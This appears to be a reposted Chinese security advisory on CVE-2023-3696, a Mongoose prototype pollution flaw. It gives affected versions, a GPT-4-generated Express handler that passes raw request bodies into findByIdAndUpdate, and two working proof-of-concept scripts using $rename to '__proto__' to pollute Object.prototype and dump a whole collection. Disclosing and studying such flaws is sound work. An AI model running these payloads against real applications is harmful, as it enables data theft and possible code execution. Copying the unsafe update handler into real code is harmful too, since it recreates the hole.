漏洞描述
Mongoose是MongoDB的一个对象模型工具,将数据库中的数据转换为JavaScript对象以供你在应用中使用,封装了MongoDB对文档的的一些增删改查等常用方法。CVE-2023-3696 中,由于Mongoose存在原型链污染,导致在一定环境下,攻击者可构造恶意请求造成代码执行。
影响版本
>= 7.0.0, < 7.3.3
>= 6.0.0, < 6.11.3
< 5.13.20
如果攻击者有某种方式通过某种方式控制 Mongo 服务器上的对象,则有可能在任何 Mongoose 客户端上造成原型污染。值得注意的是,如果实施不当的服务允许用户控制findByIdAndUpdate类似功能中的对象,则该错误可能会通过$rename操作员触发。另一种可能性是,如果两个不同的服务与同一个 Mongo 数据库交互,其中一个服务可能允许用户注入包含字段的任意对象__proto__,这也会触发此错误。
如果与 Express 和 EJS 一起使用,这个 bug 很容易导致 RCE。许多其他图书馆也有已知的污染利用原型,这可能会造成重大影响。
允许用户直接输入update操作似乎是一种非常常见的模式。例如,如果我们向 GPT-4 询问使用 Mongoose 更新帖子的基本提示,它会给出:
提示:
使用 Express 和 Mongoose,获取用户的输入,通过 id 查找“帖子”,并更新其字段。
回应:
在 Express 和 Mongoose 中,您可以使用该findByIdAndUpdate方法通过 id 查找“Post”并更新其字段。您可以这样做:
const express = require('express');
const mongoose = require('mongoose');
const Post = require('./models/post'); // Assuming you have a Post model in models/post.js
const app = express();
app.use(express.json()); // for parsing application/json
app.put('/post/:id', async (req, res) => {
const { id } = req.params;
try {
const post = await Post.findByIdAndUpdate(id, req.body, { new: true });
// new: true returns the updated post rather than the original post when the operation began
if (!post) {
return res.status(404).send();
}
res.send(post);
} catch (e) {
res.status(400).send(e);
}
});
在上面的示例中,req.params.id用于从 URL 获取 id。用于req.body从用户处获取更新的数据。该{ new: true }选项用于返回更新后的帖子。
概念证明:
import { connect, model, Schema } from 'mongoose';
await connect('mongodb://127.0.0.1:27017/exploit');
const Example = model('Example', new Schema({ hello: String }));
const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
$rename: {
hello: '__proto__.polluted'
}
});
// this is what causes the pollution
await Example.find();
const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }
process.exit();
结果数据库条目
exploit> db.examples.find({})
[
{
_id: ObjectId("64a757117e3dbf11b14e0fd4"),
__v: 0,
['__proto__']: { polluted: 'world!' }
}
]
解释
当 Mongoose 找到文档并将恶意文档读入对象时,它会使用具有原型的对象。如果顶级对象包含__proto__字段,则会导致对象原型被覆盖。
受影响的代码:
// document.js
/**
* Init helper.
*
* @param {Object} self document instance
* @param {Object} obj raw mongodb doc
* @param {Object} doc object we are initializing
* @param {Object} [opts] Optional Options
* @param {Boolean} [opts.setters] Call `applySetters` instead of `cast`
* @param {String} [prefix] Prefix to add to each path
* @api private
*/
function init(self, obj, doc, opts, prefix) {
// ...
function _init(index) {
// ...
if (!schemaType && utils.isPOJO(obj[i])) {
// ...
// (1)
// our malicious payload first reaches here, where:
// obj is some document
// i = '__proto__'
// so, obj[i] gives Object.prototype, which gets used in (2)
init(self, obj[i], doc[i], opts, path + '.');
} else if (!schemaType) {
// (2)
// after the recursive call on (1), we reach here
// pollution happens on the next line, where:
// doc: Object.prototype,
// obj = { polluted: 'world!' },
// i = 'polluted'
doc[i] = obj[i];
if (!strict && !prefix) {
self[i] = obj[i];
}
} else {
影响
如果与 Express 和 EJS 一起使用,这个 bug 很容易导致 RCE。许多其他图书馆也有已知的污染利用原型,这可能会造成重大影响。
我们还发现,我们实际上可以利用 Mongoose 本身的原型污染,使其在使用时绕过所有查询参数.find(),这使得攻击者有可能转储整个集合:
import { connect, model, Schema } from 'mongoose';
const mongoose = await connect('mongodb://127.0.0.1:27017/exploit');
const Post = model('Post', new Schema({
owner: String,
message: String
}));
await Post.create({
owner: "SECRET_USER",
message: "SECRET_MESSAGE"
});
const post = await Post.create({
owner: "user",
message: "test message"
});
await Post.findByIdAndUpdate(post._id, {
$rename: {
message: '__proto__.owner'
}
});
// this pollutes Object.prototype.owner = "test message"
await Post.find({ owner: "user" });
// now, when querying posts, even when an owner is specified, all posts are returned
const posts = await Post.find({
owner: "user2"
});
console.log(posts); // both posts created are found
/*
output:
[
{
_id: new ObjectId("64a7610756da3c04f900bf49"),
owner: 'SECRET_USER',
message: 'SECRET_MESSAGE',
__v: 0
},
{
_id: new ObjectId("64a7610756da3c04f900bf4b"),
owner: 'user',
__v: 0
}
]
*/
process.exit();
这也很容易导致拒绝服务,具体取决于 Mongo 集合的大小以及应用程序中使用的其他库。
原文始发于微信公众号(Ots安全):Mongoose 原型链污染致代码执行漏洞(CVE-2023-3696)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论